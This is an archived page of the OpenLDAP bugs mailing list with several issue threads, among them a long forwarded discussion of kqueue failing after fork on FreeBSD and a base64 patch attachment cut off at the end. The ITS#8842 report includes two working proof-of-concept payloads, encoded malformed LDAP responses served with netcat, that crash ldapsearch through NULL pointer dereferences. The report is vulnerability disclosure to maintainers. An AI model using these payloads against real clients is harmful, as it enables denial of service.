openldap-bugs

openldap-bugs@openldap.org

1 participants
21065 discussions

(ITS#8842) NULL pointer derefence
by openldap＠katzen.cc 01 May '18

01 May '18

Full_Name: Catz Meow Version: openldap-2.4.46 OS: Archlinux URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (134.19.121.246) 2 small issues: I'm keeping it brief, let me know if you need more information. A malicious LDAP server or mitm attacker can craft a response that causes the ldap client to crash. Nothing critical, just a simoke DoS. echo "MAwCAQFhBwoBAAQABAAwNgIBAnkxBBFkYz1leGFtcGxlLGRjPWNvbQoBAgoBAAIBAAIBAAEBAIcL b2JqZWN0Y2xhc3MwADCBiQIBAmSBgwQRZGM9ZXhhbXBsZSxkYz1jb20wbjAnBAtvYmplY3RDbGFz czEYBAhkY09iamVjdAQMb3JnYW5pemF0aW9uMA8EAmRjMQkEB2V4YW1wbGUwDgQBbzEJBAdFeGFt cGxlMCIEC2Rlc2NyaXB0aW9uMRMEEUV4YW1wbGUgZGlyZWN0b3J5MHkCAQJkdAQZY249cm9vdCxk Yz1leGFtcGxlLGRjPWNvbTBXMCMEC29iamVjdENsYXNzMRQEEm9yZ2FuaXphdGlvbmFsUm9sZTAM BAJjbjEGBARyb290MCIEC2Rlc2NyaXB0aW9uMRMEEURpcmVjdG9yeSBNYW5hZ2VyMIIBcAIBAmSC AWkEGnVpZD1hZGFtLGRjPWV4YW1wbGUsZGM9Y29tMIIBSTA6BAtvYmplY3RDbGFzczErBAN0b3AE B2FjY291bnQEDHBvc2l4QWNjb3VudAQNc2hhZG93QWNjb3VudDAMBAJjbjEGBARhZGFtMA0EA3Vp ZDEGBARhZGFtMBQECXVpZE51bWJlcjEHBAUxNjg1OTASBAlnaWROdW1iZXIxBQQDMTAwMB0EDWhv bWVEaXJlY3RvcnkxDAQKL2hvbWUvYWRhbTAZBApsb2dpblNoZWxsMQsECS9iaW4vYmFzaDAPBAVn ZWNvczEGBARhZGFtMBcEEHNoYWRvd0xhc3RDaGFuZ2UxAwQBMDAQBAlzaGFkb3dNYXgxAwQBMDAU BA1zaGFkb3dXYXJuaW5nMQMEATAwOAQMdXNlclBhc3N3b3JkMSgEJntTU0hBfXMzdWIwNnpCNVd2 UmVUZFZPOEVRelRMWVhvSFRCWGVNMAwCAQJlBwoBAAQABAA=" | base64 -d | nc -lvp 14222 ./clients/tools/.libs/ldapsearch -D cn=root,dc=example,dc=com -b dc=example,dc=com -h 127.0.0.1:14222 -x -w secret Affected code: ./clients/tools/ldapsearch.c static int dosearch( [...] case LDAP_RES_INTERMEDIATE: npartial++; ldap_parse_intermediate( ld, msg, &retoid, &retdata, NULL, 0 ); nresponses_psearch = 0; if ( strcmp( retoid, LDAP_SYNC_INFO ) == 0 ) { The problem here is that retoid can be NULL after ldap_parse_intermediate() is called. Another NULL pointer dereference caused by a bad response: echo "MAwCAQFhBwoBAAQABAAwgYkCAQJkgYMEEWRjPWV4YW1wbGUsZGM9AARtMG4wJwQLb2JqZWN0Q2xh c3MxGAQIZGNPYmplY3QEDG9yZ2FuaXphdGlvbjAPBAJkYzEJBAdleGFtcGxlMA4EAW8xCQQHRXhh bXBsZTAiBAtkZXNjcmlwdGlvbjETBBFFeGFtcGxlIGRpcmVjdG9yeTB5AgECZHQEGWNuPXJvb3Qs ZGM9ZXhhbXBsZSxkYz1jb20wVzAjBAtvYmplY3RDbGFzczEUBBJvcmdhbml6YXRpb25hbFJvbGUw DAQCY24xBgQEcm9vdDAiBAtkZXNjcmlwdGlvbjETBBFEaXJlY3RvcnkgTWFuYWdlcjCCAXACAQJk ggFpBBp1aWQ9YWRhbSxkYz1leGFtcGxlLGRjPWNvbTCCAUkwOgQLb2JqZWN0Q2xhc3MxKwQDdG9w BAdhY2NvdW50BAxwb3NpeEFjY291bnQEDXNoYWRvd0FjY291bnQwDAQCY24xBgQEYWRhbTANBAN1 aWQxBgQEYWRhbTAUBAl1aWROdW1iZXIxBwQFMTY4NTkwEgQJZ2lkTnVtYmVyMQUEAzEwMDAdBA1o b21lRGlyZWN0b3J5MQwECi9ob21lL2FkYW0wGQQKbG9naW5TaGVsbDELBAkvYmluL2Jhc2gwDwQF Z2Vjb3MxBgQEYWRhbTAXBBBzaGFkb3dMYXN0Q2hhbmdlMQMEATAwEAQJc2hhZG93TWF4MQMEATAw FAQNc2hhZG93V2FybmluZzEDBAEwMDgEDHVzZXJQYXNzd29yZDEoBCZ7U1NIQX1zM3ViMDZ6QjVX dlJlVGRWTzhFUXpUTFlYb0hUQlhlTTAMAgECZQcKAQAEAAQA" | base64 -d | nc -lvp 14222 ./clients/tools/.libs/ldapsearch -D cn=root,dc=example,dc=com -b dc=example,dc=com -h 127.0.0.1:14222 -x -w secret The PoC leads to memcpy being called with a NULL pointer as second argument (ava->la_value.bv_val) in dn2domain() (libraries/libldap/getdn.c): AC_MEMCPY( str, ava->la_value.bv_val, ava->la_value.bv_len + 1);

1 0

Re: (ITS#8616) olcSpNopresent and olcSpReloadHint can't be modified dynamically
by quanah＠symas.com 01 May '18

01 May '18

--On Tuesday, March 14, 2017 6:58 PM +0000 elecharny(a)symas.com wrote: Also fails for olcSpSessionLog (if it wasn't defined when the cn=config db was loaded) --Quanah -- Quanah Gibson-Mount Product Architect Symas Corporation Packaged, certified, and supported LDAP solutions powered by OpenLDAP: <http://www.symas.com>

1 0

Subject: Re: (ITS#8639) Remove support for LANMAN
by andrew.lawrence＠siemens.com 29 Apr '18

29 Apr '18

Hi, I fixed/implemented this a while ago. I have uploaded a patch to ftp://ftp.= openldap.org/incoming/andrew-lawrence-180429.patch With best regards, Dr Andrew Lawrence Siemens Rail Automation Holdings Limited MO MM R&D UK IXL 17 Langley Park Way Chippenham SN15 1GG, United Kingdom=20 Tel.: +44 1249 441808 Mobile: +44 7921 248744 mailto:andrew.lawrence@siemens.com www.siemens.com/rail-automation www.siemens.com/ingenuityforlife Siemens Rail Automation Holdings Limited - registered office: Faraday House= , Sir William Siemens Square, Frimley Camberley GU16 8QD. Registered No. 00= 016033

1 0

(ITS#8841) Fix for an assertion error in back-meta
by nivanova＠symas.com 25 Apr '18

25 Apr '18

Full_Name: Nadezhda Ivanova Version: 2.5 OS: URL: ftp://ftp.openldap.org/incoming/nadezhda-ivanova-180425-2.patch Submission from: (NULL) (93.152.134.25) This patch contains a fix for the following issue, reported by a customer. When using back-meta, if a network interface towards a target becomes unavailable (e.g disabling a virtual interface), back-meta fails an assert. IPR for this patch: The attached files are derived from OpenLDAP Software. All of the modifications to OpenLDAP Software represented in the following patch were developed by Symas Corporation. Symas Corporation has not assigned rights and/or interest in this work to any party. I, Nadezhda Ivanova, am authorized by Symas Corporation, my employer, to release this work under the following terms. The attached modifications to OpenLDAP Software are subject to the following notice: Copyright 2018 Symas Corporation Redistribution and use in source and binary forms, with or without modification, are permitted only as authorized by the OpenLDAP Public License.

1 0

(ITS#8725) Disable cleanup of extended operations if they are asynchronous
by nivanova＠symas.com 25 Apr '18

25 Apr '18

--=_ff296a31-6740-4409-806d-173ea531b121 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit As part of asyncmeta development, the front-end was made aware if operations were executed by an async back-end and cleanup is to be performed by the backend. This patch adds the same exception of extended operations, which were skipped because asyncmeta did not handle them. ftp://ftp.openldap.org/incoming/nadezhda-ivanova-180425.patch --=_ff296a31-6740-4409-806d-173ea531b121 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit <html><body><div style="font-family: arial, helvetica, sans-serif; font-size: 12pt; color: #000000"><div><br data-mce-bogus="1"></div><div>As part of asyncmeta development, the front-end was made aware if operations were executed by an async back-end and cleanup is to be performed by the backend. This patch adds the same exception of extended operations, which were skipped because asyncmeta did not handle them.<br data-mce-bogus="1"></div><div><br data-mce-bogus="1"></div><div>ftp://ftp.openldap.org/incoming/nadezhda-ivanova-180425.patch<br data-mce-bogus="1"></div><div><br data-mce-bogus="1"></div><div><br data-mce-bogus="1"></div></div></body></html> --=_ff296a31-6740-4409-806d-173ea531b121--

1 0

Re: (ITS#6300) Issues with kqueue after fork
by quanah＠symas.com 24 Apr '18

24 Apr '18

--==========C0CB1C4A269A2DB8FD87========== Content-Type: text/plain; charset=utf-8; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Date: Monday, October 23, 2017 12:43 AM -0700 From: Xin Li To: Quanah Gibson-Mount Hi Quanah, I finally got some time to twiddle with OpenLDAP (again). It looks like the EBADF is expected, because fork(2) says: =E2=80=A2 The child process has its own copy of the parent's descriptors, except for descriptors returned by kqueue(2), which are not inherited from the parent process. And slapd does have a fork() after the initial kqueue(), which rendered it invalid. The kqueue() is part of SLAP_SOCK_INIT(), which is part of slapd_daemon_init(). Then, after that, fork() happen in lutil_detach(), and doing this hack would (incorrectly) make slapd to start: diff --git a/libraries/liblutil/detach.c b/libraries/liblutil/detach.c index c6464c038..f47d36548 100644 --- a/libraries/liblutil/detach.c +++ b/libraries/liblutil/detach.c @@ -73,7 +73,7 @@ lutil_detach( int debug, int do_close ) #ifdef HAVE_THR pid =3D fork1(); #else - pid =3D fork(); + pid =3D rfork(RFPROC); #endif switch ( pid ) { It is incorrect because the code in slapd/main.c seems to expect the child to write a "1" to it before exiting with EXIT_SUCCESS() and obviously if the two processes shares the same file table, the parent would consider the start was failed because read() would fail. I think the right fix would be to move the lutil_detach() to before slapd_daemon_init(), see attachment, but it seems that some code after the initial daemon initialization is still trying to output to stderr, etc. What do you think? Cheers, -- Quanah Gibson-Mount Product Architect Symas Corporation Packaged, certified, and supported LDAP solutions powered by OpenLDAP: <http://www.symas.com> --==========C0CB1C4A269A2DB8FD87========== Content-Type: message/rfc822; name="Re: kqueue in OpenLDAP for FreeBSD (fwd)" Date: Tue, 24 Apr 2018 14:28:57 -0700 From: Quanah Gibson-Mount <quanah(a)symas.com> Reply-To: Quanah Gibson-Mount <quanah(a)symas.com> To: Howard Chu <hyc(a)symas.com> Subject: Re: kqueue in OpenLDAP for FreeBSD (fwd) Message-ID: <49431EE1A7D095C608D778A4(a)[192.168.1.10]> X-Mailer: Mulberry/4.0.9a1 (Win32) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="==========EF6328C82A1CE901E152==========" --==========EF6328C82A1CE901E152========== Content-Type: text/plain; charset=utf-8; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline kqueue issues with slapd --Quanah ------------ Forwarded Message ------------ Date: Monday, October 23, 2017 12:43 AM -0700 From: Xin Li <delphij(a)delphij.net> To: Quanah Gibson-Mount <quanah(a)symas.com>, Xin LI <delphij(a)gmail.com> Cc: d(a)delphij.net, Pietro Cerutti <gahr(a)gahr.ch>, Xin LI=20 <delphij(a)freebsd.org> Subject: Re: kqueue in OpenLDAP for FreeBSD Hi, Quanah, I finally got some time to twiddle with OpenLDAP (again). It looks like the EBADF is expected, because fork(2) says: =E2=80=A2 The child process has its own copy of the parent's descriptors, except for descriptors returned by kqueue(2), which are not inherited from the parent process. And slapd does have a fork() after the initial kqueue(), which rendered it invalid. The kqueue() is part of SLAP_SOCK_INIT(), which is part of slapd_daemon_init(). Then, after that, fork() happen in lutil_detach(), and doing this hack would (incorrectly) make slapd to start: diff --git a/libraries/liblutil/detach.c b/libraries/liblutil/detach.c index c6464c038..f47d36548 100644 --- a/libraries/liblutil/detach.c +++ b/libraries/liblutil/detach.c @@ -73,7 +73,7 @@ lutil_detach( int debug, int do_close ) #ifdef HAVE_THR pid =3D fork1(); #else - pid =3D fork(); + pid =3D rfork(RFPROC); #endif switch ( pid ) { It is incorrect because the code in slapd/main.c seems to expect the child to write a "1" to it before exiting with EXIT_SUCCESS() and obviously if the two processes shares the same file table, the parent would consider the start was failed because read() would fail. I think the right fix would be to move the lutil_detach() to before slapd_daemon_init(), see attachment, but it seems that some code after the initial daemon initialization is still trying to output to stderr, etc. What do you think? Cheers, On 10/20/17 09:00, Quanah Gibson-Mount wrote: > --On Friday, October 20, 2017 8:15 AM -0700 Quanah Gibson-Mount > <quanah(a)symas.com> wrote: > >> Thanks, I'll play around with the build some.=C2=A0 I'm limiting slapd = to as >> minimal a build as possible with my configure: >> >> ./configure --without-tls --without-cyrus-sasl --enable-ldap >> --enable-meta --enable-accesslog --enable-ppolicy --enable-rewrite >> --enable-rwm --prefix=3D/tmp/q > > > I've updated my configure to: > > CFLAGS=3D"-O2 -pipe=C2=A0 -fstack-protector -DLDAP_DEPRECATED > -fno-strict-aliasing" \ > ./configure \ > --with-threads=3Dposix=C2=A0 --with-tls=3Dopenssl = --disable-dependency-tracking \ > --enable-dynamic --without-cyrus-sasl \ > --localstatedir=3D/var/db=C2=A0 --enable-crypt=C2=A0 --enable-ldap \ > --enable-meta=C2=A0 --enable-rewrite=C2=A0 --enable-null \ > --enable-monitor --disable-seqmod --enable-syncprov \ > --enable-mdb --without-fetch \ > --prefix=3D/tmp/q > > > And I still have no issues.=C2=A0 I'm unable to get the freebsd version = of > libtool to build shared libraries, so I can't test dynamic modules. > > --Quanah > > > -- > > Quanah Gibson-Mount > Product Architect > Symas Corporation > Packaged, certified, and supported LDAP solutions powered by OpenLDAP: > <http://www.symas.com> > ---------- End Forwarded Message ---------- -- Quanah Gibson-Mount Product Architect Symas Corporation Packaged, certified, and supported LDAP solutions powered by OpenLDAP: <http://www.symas.com> --==========EF6328C82A1CE901E152========== Content-Type: message/rfc822; name="Re: kqueue in OpenLDAP for FreeBSD" Return-Path: delphij(a)delphij.net Received: from 127.37.197.104.bc.googleusercontent.com (LHLO zmcc-5-mta-1.zmailcloud.com) (104.197.37.127) by zmcc-5-mailbox-1.zmailcloud.com with LMTP; Mon, 23 Oct 2017 01:43:19 -0500 (CDT) Received: from localhost (localhost [127.0.0.1]) by zmcc-5-mta-1.zmailcloud.com (Postfix) with ESMTP id 57E10C0814 for <qgibson-mount(a)symas.com>; Mon, 23 Oct 2017 01:43:19 -0500 (CDT) X-Virus-Scanned: amavisd-new at zmcc-5-mta-1.zmailcloud.com Authentication-Results: zmcc-5-mta-1.zmailcloud.com (amavisd-new); dkim=fail (1024-bit key) reason="fail (message has been altered)" header.d=delphij.net Received: from zmcc-5-mta-1.zmailcloud.com ([127.0.0.1]) by localhost (zmcc-5-mta-1.zmailcloud.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Wrlpf0yr3bg2 for <qgibson-mount(a)symas.com>; Mon, 23 Oct 2017 01:43:19 -0500 (CDT) Received: from mailstronghold-1.zmailcloud.com (254.215.154.104.bc.googleusercontent.com [104.154.215.254]) by zmcc-5-mta-1.zmailcloud.com (Postfix) with ESMTPS id 36497C06D2 for <quanah(a)symas.com>; Mon, 23 Oct 2017 01:43:19 -0500 (CDT) Received: from mailstronghold-1.zmailcloud.com (localhost.localdomain [127.0.0.1]) by mailstronghold-1.zmailcloud.com (8.13.8/8.13.8) with ESMTP id v9N4CeHI010656 for <quanah(a)symas.com>; Mon, 23 Oct 2017 01:43:18 -0500 X-Haraka-RcptSummary: valid=1 invalid=0 unverified=0 relay=0 norelay=0 Received-SPF: Pass (mailstronghold-1.zmailcloud.com: domain of delphij.net designates 64.62.153.212 as permitted sender) receiver=mailstronghold-1.zmailcloud.com; identity=mailfrom; client-ip=64.62.153.212; helo=anubis.delphij.net; envelope-from=<delphij(a)delphij.net> Received-SPF: None (mailstronghold-1.zmailcloud.com: domain of anubis.delphij.net does not designate 64.62.153.212 as permitted sender) receiver=mailstronghold-1.zmailcloud.com; identity=helo; client-ip=64.62.153.212; helo=anubis.delphij.net; envelope-from=<delphij(a)delphij.net> Received: from anubis.delphij.net (anubis.delphij.net [64.62.153.212]) by mailstronghold-1.zmailcloud.com (Haraka/2.2.8) with ESMTPS id 44429DF9-9A11-41FD-AF40-A85A1E9CCAE7.1 envelope-from <delphij(a)delphij.net> (version=TLSv1/SSLv3 cipher=AES256-SHA verify=OK); Mon, 23 Oct 2017 01:43:14 -0500 Received: from Xins-MBP.ut.rhv.delphij.net (unknown [IPv6:2601:646:8882:37a:c09f:c4b5:916b:f99]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by anubis.delphij.net (Postfix) with ESMTPSA id 7315321847; Sun, 22 Oct 2017 23:43:10 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=delphij.net; s=anubis; t=1508740990; x=1508755390; bh=lHOLEU7RrRbdsqZiIrERFdjtGcmjK0d4J65y4NciNAE=; h=Cc:Subject:To:References:From:Date:In-Reply-To; b=pSf21voW+1hi95e1Gk7n0Etfo4WpoqUlF4m7Ukgp6+Sw1OreGQEjQPiBMq0Wo6htG P/+uPZswNtPxpr/6yGE9Fsrxku8Bygk6Qv/o3pR9rRe0bKhvrh+jqAcM0KvcjgG9cV geciuENhFuihiQm9Jh/4383kqyrcrgnufON8XY4Q= Cc: d(a)delphij.net, Pietro Cerutti <gahr(a)gahr.ch>, Xin LI <delphij(a)freebsd.org> Subject: Re: kqueue in OpenLDAP for FreeBSD To: Quanah Gibson-Mount <quanah(a)symas.com>, Xin LI <delphij(a)gmail.com> From: Xin Li <delphij(a)delphij.net> Date: Sun, 22 Oct 2017 23:43:05 -0700 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Thunderbird/52.4.0 MIME-Version: 1.0 In-Reply-To: <77291973D4E980CDD2C6B12D(a)[192.168.1.30]> Content-Type: multipart/signed; micalg=pgp-sha512; protocol="application/pgp-signature"; boundary="5jhqIfAmTWbgiqGDq2LUIR42Ndk8MNrPJ" X-Haraka-Syntax: mail_case=upper mail_leading_spaces=N mail_trailing_spaces=N mail_missing_brackets=N rcpt_case=upper rcpt_leading_spaces=N rcpt_missing_brackets=N rcpt_trailing_spaces=N X-Haraka-GeoIP: US X-Haraka-GeoIP-Received: 64.62.153.212:US X-Haraka-rDNS: anubis.delphij.net X-Haraka-FCrDNS: anubis.delphij.net X-Haraka-HostID: delphij.net X-Haraka-SenderAuth: 64.62.153.212 delphij.net X-Haraka-Domain-Info: domain="delphij.net" last_update=176 primary_ns="ns-us.delphij.net" serial=2017043060 refresh=7200 retry=3600 expiration=604800 minimum=14400 flags="" X-Haraka-Watermark: references:WM!a1b49a63e95c1d3f455af9c2777883d03dd1e46303f3c7e5270170ec581ec4658216e91e73f74b5dec589501ad7b5d03!@mailstronghold-3.zmailcloud.com References: <1EEAC653239F6692643DB632(a)192.168.1.30> <058DB23288D5009E6DBB5BCD(a)192.168.1.30> <CAGMYy3shfuAS85XowEVaFcnOUKpU2PDMqm8+PWzch93f0j_bXg(a)mail.gmail.com> <WM!a464e9245a6039036609ea76ee2d9e4d48947932ced97d50fe93b3951122d1549508f510bddbbc94dc5a58711bef7c3a!(a)mailstronghold-2.zmailcloud.com> <6C1DC7E9BE41FA3CD93838AC(a)192.168.1.30> <CAGMYy3tWs52_RvSjQHtg17D1vOE9BM4YWEpO9k1Oc82L+0fJsA(a)mail.gmail.com> <WM!989b88c2339699eecc479074ef90267785f2f7857ca6a68544f30ecbc534e2146b4db747de2aede7c8f671fd55da9d58!(a)mailstronghold-3.zmailcloud.com> <62041328E5AFD06BBFCFDF96(a)[192.168.1.30]> <D8979E6E67B623588F99E3B7(a)[192.168.1.30]> <5b003a32-e2cc-0ae0-1dc9-1f994b4b06a4(a)delphij.net> <WM!a1b49a63e95c1d3f455af9c2777883d03dd1e46303f3c7e5270170ec581ec4658216e91e73f74b5dec589501ad7b5d03!(a)mailstronghold-3.zmailcloud.com> <A3DFF2D02CD1C134AAC9771D(a)[192.168.1.30]> <77291973D4E980CDD2C6B12D(a)[192.168.1.30]> <cff1e448-975f-f832-4ced-7c68108abf49(a)delphij.net> Message-Id: <WM!ff18dbc4fd0ca98069f4da171165aabfe0351a19a07c5c098b191f5850c1c079bf8b820779722c14189597ab2ab2028a!(a)mailstronghold-1.zmailcloud.com> X-FSL-MailScanner-Information: Please contact postmaster(a)zmailcloud.com for more information X-FSL-MailScanner-ID: v9N4CeHI010656 X-FSL-MailScanner: Found to be clean X-Dirty-Status: X-FSL-MailScanner-From: delphij(a)delphij.net This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --5jhqIfAmTWbgiqGDq2LUIR42Ndk8MNrPJ Content-Type: multipart/mixed; boundary="SvfB4mi1pAhURkJI3rrmDUDBPqtcBdtKl"; protected-headers="v1" From: Xin Li <delphij(a)delphij.net> To: Quanah Gibson-Mount <quanah(a)symas.com>, Xin LI <delphij(a)gmail.com> Cc: d(a)delphij.net, Pietro Cerutti <gahr(a)gahr.ch>, Xin LI <delphij(a)freebsd.org> Message-ID: <cff1e448-975f-f832-4ced-7c68108abf49(a)delphij.net> Subject: Re: kqueue in OpenLDAP for FreeBSD References: <1EEAC653239F6692643DB632(a)192.168.1.30> <WM!652ba1f610b07a3646a24508aa83d70e7fbfbbbf4a02ab2f4f5c75bea4ea7433084f5a08cbd2551d01ebcc1be8bfada2!(a)mailstronghold-3.zmailcloud.com> <806290B685E4C0A58E186335(a)192.168.1.30> <a77bd491-68e1-d071-90d1-f081685137cd(a)delphij.net> <WM!9301149f169acc8af0f3fbefd6be96ab8874fd401aaf6373e9390d058b5fc3a788bd3202b6db71ad2dcfda2aec5e5b59!(a)mailstronghold-3.zmailcloud.com> <058DB23288D5009E6DBB5BCD(a)192.168.1.30> <CAGMYy3shfuAS85XowEVaFcnOUKpU2PDMqm8+PWzch93f0j_bXg(a)mail.gmail.com> <WM!a464e9245a6039036609ea76ee2d9e4d48947932ced97d50fe93b3951122d1549508f510bddbbc94dc5a58711bef7c3a!(a)mailstronghold-2.zmailcloud.com> <6C1DC7E9BE41FA3CD93838AC(a)192.168.1.30> <CAGMYy3tWs52_RvSjQHtg17D1vOE9BM4YWEpO9k1Oc82L+0fJsA(a)mail.gmail.com> <WM!989b88c2339699eecc479074ef90267785f2f7857ca6a68544f30ecbc534e2146b4db747de2aede7c8f671fd55da9d58!(a)mailstronghold-3.zmailcloud.com> <62041328E5AFD06BBFCFDF96(a)[192.168.1.30]> <D8979E6E67B623588F99E3B7(a)[192.168.1.30]> <5b003a32-e2cc-0ae0-1dc9-1f994b4b06a4(a)delphij.net> <WM!a1b49a63e95c1d3f455af9c2777883d03dd1e46303f3c7e5270170ec581ec4658216e91e73f74b5dec589501ad7b5d03!(a)mailstronghold-3.zmailcloud.com> <A3DFF2D02CD1C134AAC9771D(a)[192.168.1.30]> <77291973D4E980CDD2C6B12D(a)[192.168.1.30]> In-Reply-To: <77291973D4E980CDD2C6B12D(a)[192.168.1.30]> --SvfB4mi1pAhURkJI3rrmDUDBPqtcBdtKl Content-Type: multipart/mixed; boundary="------------617F49AD045D5D9CF20DDEA9" Content-Language: en-US This is a multi-part message in MIME format. --------------617F49AD045D5D9CF20DDEA9 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Hi, Quanah, I finally got some time to twiddle with OpenLDAP (again). It looks like the EBADF is expected, because fork(2) says: =E2=80=A2 The child process has its own copy of the parent's= descriptors, except for descriptors returned by kqueue(2), which are not inherited from the parent process. And slapd does have a fork() after the initial kqueue(), which rendered it invalid. The kqueue() is part of SLAP_SOCK_INIT(), which is part of slapd_daemon_init(). Then, after that, fork() happen in lutil_detach(), and doing this hack would (incorrectly) make slapd to start: diff --git a/libraries/liblutil/detach.c b/libraries/liblutil/detach.c index c6464c038..f47d36548 100644 --- a/libraries/liblutil/detach.c +++ b/libraries/liblutil/detach.c @@ -73,7 +73,7 @@ lutil_detach( int debug, int do_close ) #ifdef HAVE_THR pid =3D fork1(); #else - pid =3D fork(); + pid =3D rfork(RFPROC); #endif switch ( pid ) { It is incorrect because the code in slapd/main.c seems to expect the child to write a "1" to it before exiting with EXIT_SUCCESS() and obviously if the two processes shares the same file table, the parent would consider the start was failed because read() would fail. I think the right fix would be to move the lutil_detach() to before slapd_daemon_init(), see attachment, but it seems that some code after the initial daemon initialization is still trying to output to stderr, et= c. What do you think? Cheers, On 10/20/17 09:00, Quanah Gibson-Mount wrote: > --On Friday, October 20, 2017 8:15 AM -0700 Quanah Gibson-Mount > <quanah(a)symas.com> wrote: >=20 >> Thanks, I'll play around with the build some.=C2=A0 I'm limiting slapd= to as >> minimal a build as possible with my configure: >> >> ./configure --without-tls --without-cyrus-sasl --enable-ldap >> --enable-meta --enable-accesslog --enable-ppolicy --enable-rewrite >> --enable-rwm --prefix=3D/tmp/q >=20 >=20 > I've updated my configure to: >=20 > CFLAGS=3D"-O2 -pipe=C2=A0 -fstack-protector -DLDAP_DEPRECATED > -fno-strict-aliasing" \ > ./configure \ > --with-threads=3Dposix=C2=A0 --with-tls=3Dopenssl --disable-dependency-= tracking \ > --enable-dynamic --without-cyrus-sasl \ > --localstatedir=3D/var/db=C2=A0 --enable-crypt=C2=A0 --enable-ldap \ > --enable-meta=C2=A0 --enable-rewrite=C2=A0 --enable-null \ > --enable-monitor --disable-seqmod --enable-syncprov \ > --enable-mdb --without-fetch \ > --prefix=3D/tmp/q >=20 >=20 > And I still have no issues.=C2=A0 I'm unable to get the freebsd version= of > libtool to build shared libraries, so I can't test dynamic modules. >=20 > --Quanah >=20 >=20 > --=20 >=20 > Quanah Gibson-Mount > Product Architect > Symas Corporation > Packaged, certified, and supported LDAP solutions powered by OpenLDAP: > <http://www.symas.com> >=20 --------------617F49AD045D5D9CF20DDEA9 Content-Type: text/plain; charset=UTF-8; x-mac-type="0"; x-mac-creator="0"; name="slapd-workaround.patch" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="slapd-workaround.patch" ZGlmZiAtLWdpdCBhL3NlcnZlcnMvc2xhcGQvbWFpbi5jIGIvc2VydmVycy9zbGFwZC9tYWlu LmMKaW5kZXggMGEwNTNjM2VlLi4xOGQ4NDBjNWEgMTAwNjQ0Ci0tLSBhL3NlcnZlcnMvc2xh cGQvbWFpbi5jCisrKyBiL3NlcnZlcnMvc2xhcGQvbWFpbi5jCkBAIC02OTIsNiArNjkyLDkg QEAgdW5oYW5kbGVkX29wdGlvbjo7CiAJYmVyX3NldF9vcHRpb24oTlVMTCwgTEJFUl9PUFRf REVCVUdfTEVWRUwsICZzbGFwX2RlYnVnKTsKIAlsZGFwX3NldF9vcHRpb24oTlVMTCwgTERB UF9PUFRfREVCVUdfTEVWRUwsICZzbGFwX2RlYnVnKTsKIAlsZGlmX2RlYnVnID0gc2xhcF9k ZWJ1ZzsKKwlpZiAoIGNoZWNrICE9IENIRUNLX05PTkUgKSB7CisJCW5vX2RldGFjaCA9IDE7 CisJfQogCiAJaWYgKCB2ZXJzaW9uICkgewogCQlmcHJpbnRmKCBzdGRlcnIsICIlc1xuIiwg VmVyc2lvbnN0ciApOwpAQCAtNzM5LDYgKzc0MiwyOSBAQCB1bmhhbmRsZWRfb3B0aW9uOjsK IAlnbG9iYWxfaG9zdCA9IGxkYXBfcHZ0X2dldF9mcWRuKCBOVUxMICk7CiAJYmVyX3N0cjJi diggZ2xvYmFsX2hvc3QsIDAsIDAsICZnbG9iYWxfaG9zdF9idiApOwogCisjaWZuZGVmIEhB VkVfV0lOU09DSworCWlmICggIW5vX2RldGFjaCApIHsKKwkJaWYgKCBsdXRpbF9wYWlyKCB3 YWl0ZmRzICkgPCAwICkgeworCQkJRGVidWcoIExEQVBfREVCVUdfQU5ZLAorCQkJCSJtYWlu OiBsdXRpbF9wYWlyIGZhaWxlZDogJWRcbiIsCisJCQkJMCwgMCwgMCApOworCQkJcmMgPSAx OworCQkJZ290byBkZXN0cm95OworCQl9CisJCXBpZCA9IGx1dGlsX2RldGFjaCggbm9fZGV0 YWNoLCAwICk7CisJCWlmICggcGlkICkgeworCQkJY2hhciBidWZbNF07CisJCQlyYyA9IEVY SVRfU1VDQ0VTUzsKKwkJCWNsb3NlKCB3YWl0ZmRzWzFdICk7CisJCQlpZiAoIHJlYWQoIHdh aXRmZHNbMF0sIGJ1ZiwgMSApICE9IDEgKQorCQkJCXJjID0gRVhJVF9GQUlMVVJFOworCQkJ X2V4aXQoIHJjICk7CisJCX0gZWxzZSB7CisJCQljbG9zZSggd2FpdGZkc1swXSApOworCQl9 CisJfQorI2VuZGlmIC8qIEhBVkVfV0lOU09DSyAqLworCiAJaWYoIGNoZWNrID09IENIRUNL X05PTkUgJiYgc2xhcGRfZGFlbW9uX2luaXQoIHVybHMgKSAhPSAwICkgewogCQlyYyA9IDE7 CiAJCVNFUlZJQ0VfRVhJVCggRVJST1JfU0VSVklDRV9TUEVDSUZJQ19FUlJPUiwgMTYgKTsK QEAgLTkxMSwyOSArOTM3LDYgQEAgdW5oYW5kbGVkX29wdGlvbjo7CiAJKHZvaWQpIFNJR05B TCggU0lHQlJFQUssIHNsYXBfc2lnX3NodXRkb3duICk7CiAjZW5kaWYKIAotI2lmbmRlZiBI QVZFX1dJTlNPQ0sKLQlpZiAoICFub19kZXRhY2ggKSB7Ci0JCWlmICggbHV0aWxfcGFpcigg d2FpdGZkcyApIDwgMCApIHsKLQkJCURlYnVnKCBMREFQX0RFQlVHX0FOWSwKLQkJCQkibWFp bjogbHV0aWxfcGFpciBmYWlsZWQ6ICVkXG4iLAotCQkJCTAsIDAsIDAgKTsKLQkJCXJjID0g MTsKLQkJCWdvdG8gZGVzdHJveTsKLQkJfQotCQlwaWQgPSBsdXRpbF9kZXRhY2goIG5vX2Rl dGFjaCwgMCApOwotCQlpZiAoIHBpZCApIHsKLQkJCWNoYXIgYnVmWzRdOwotCQkJcmMgPSBF WElUX1NVQ0NFU1M7Ci0JCQljbG9zZSggd2FpdGZkc1sxXSApOwotCQkJaWYgKCByZWFkKCB3 YWl0ZmRzWzBdLCBidWYsIDEgKSAhPSAxICkKLQkJCQlyYyA9IEVYSVRfRkFJTFVSRTsKLQkJ 